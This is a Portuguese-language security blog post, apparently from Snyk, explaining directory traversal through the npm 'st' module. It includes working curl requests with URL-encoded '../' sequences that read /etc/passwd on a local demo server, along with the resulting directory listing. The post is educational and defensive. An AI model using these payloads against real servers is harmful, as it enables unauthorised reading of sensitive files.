Skip to main content

Invadindo com Snyk: exploração de vulnerabilidade de traversal de diretório no pacote st

Escrito por
Snyking in small

25 de fevereiro de 2019

0 minutos de leitura

Boas-vindas à primeira edição de uma nova série sobre exploração de vulnerabilidades, que estamos chamando de “Snyking In”! Vamos analisar diferentes vulnerabilidades de segurança, mostrar como elas podem ser exploradas e explicar os riscos potenciais para seus dados e sistemas. Nossos exemplos sempre envolvem bibliotecas reais que apresentam esse tipo de vulnerabilidade em pelo menos uma de suas versões lançadas.

Ah, e não se preocupe: não vamos deixar você na mão! Também vamos mostrar como encontrar e corrigir vulnerabilidades na sua aplicação. Sem mais delongas, confira nosso primeiro vídeo de exploração e, em seguida, saiba mais sobre a vulnerabilidade de traversal de diretório.

Traversal de diretório

Um ataque de traversal de diretório (também conhecido como traversal de caminho) tenta acessar arquivos e diretórios armazenados fora da pasta prevista. Ao manipular arquivos com sequências "ponto-ponto-barra (../)" e suas variações, ou usar caminhos absolutos, pode ser possível acessar arquivos e diretórios arbitrários no sistema de arquivos, incluindo o código-fonte da aplicação, arquivos de configuração e outros arquivos críticos do sistema.

Em geral, as vulnerabilidades de traversal de diretório podem ser divididas em dois tipos:

Exposição de informações: permite que o invasor obtenha informações sobre a estrutura de pastas ou leia o conteúdo de arquivos confidenciais armazenados no sistema.

Gravação de arquivos arbitrários: permite que o invasor crie ou substitua arquivos existentes. Esse tipo de vulnerabilidade também é conhecido como Zip Slip.

Traversal de diretório no st

O módulo st disponibiliza arquivos estáticos em páginas da web e contém uma vulnerabilidade desse tipo. Neste exemplo, disponibilizamos arquivos pela rota pública.

Se um invasor solicitar a seguinte URL ao nosso servidor, as informações confidenciais armazenadas nessa máquina serão expostas. Observe que %2e é a versão codificada para URL de . (ponto).

curl http://localhost:3001/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 

Esse tipo de traversal de diretório é uma vulnerabilidade de exposição de informações, ou seja, permite que o invasor leia o conteúdo de arquivos confidenciais. O dano se limita às informações que o invasor consegue acessar no sistema.

A exploração da vulnerabilidade no st

No vídeo acima, o ataque é feito em uma janela de terminal, pois o navegador normalizaria a entrada. A primeira tentativa de exploração usa a notação ponto-ponto-barra para sair do diretório público:

curl http://localhost:3001/public/../

No entanto, a biblioteca st leva a segurança a sério. Ela se protege contra o traversal de diretório com ponto-ponto-barra. Porém, como mencionamos antes, ao codificar o ponto para URL, o comando a seguir explora a vulnerabilidade com sucesso:

curl http://localhost:3001/public/%2e%2e/

A saída mostra que agora temos acesso ao arquivo package-lock.json, entre outros. Isso nos permite identificar os outros módulos e as respectivas versões usados pela aplicação. Também podemos explorar o sistema de arquivos em busca de informações ainda mais confidenciais, como fazemos no vídeo, expondo o arquivo /etc/passwd.

<!doctype html>Index of<!doctype html>
../  
exploits/ 2018-11-22T11:36:32.894Z -  
goof/ 2018-06-19T12:09:39.211Z -  
node_modules/ 2019-02-21T11:51:45.792Z -  
public/ 2018-06-19T12:09:03.003Z -  
routes/ 2018-06-19T12:09:03.003Z -  
views/ 2018-06-19T12:09:03.004Z -  
app.js 2018-06-19T12:09:02.997Z 2152  
app.json 2018-06-19T12:09:02.997Z 267  
db.js 2018-06-19T12:09:02.997Z 1157  
GoofApp.zip 2018-09-11T07:21:58.433Z 14138285  
package-lock.json 2019-02-21T11:51:46.183Z 186799  
package.json 2018-11-06T18:59:57.850Z 1207  
README.md 2018-06-19T12:09:02.996Z 1815  
utils.js 2018-06-19T12:09:03.003Z 641

Para testar sua aplicação em busca de vulnerabilidades em bibliotecas de terceiros, como st, experimente o Snyk gratuitamente e receba resultados na hora.

Comece a jogar Capture the Flag

Aprenda a resolver desafios de Capture the Flag assistindo sob demanda ao nosso workshop virtual introdutório.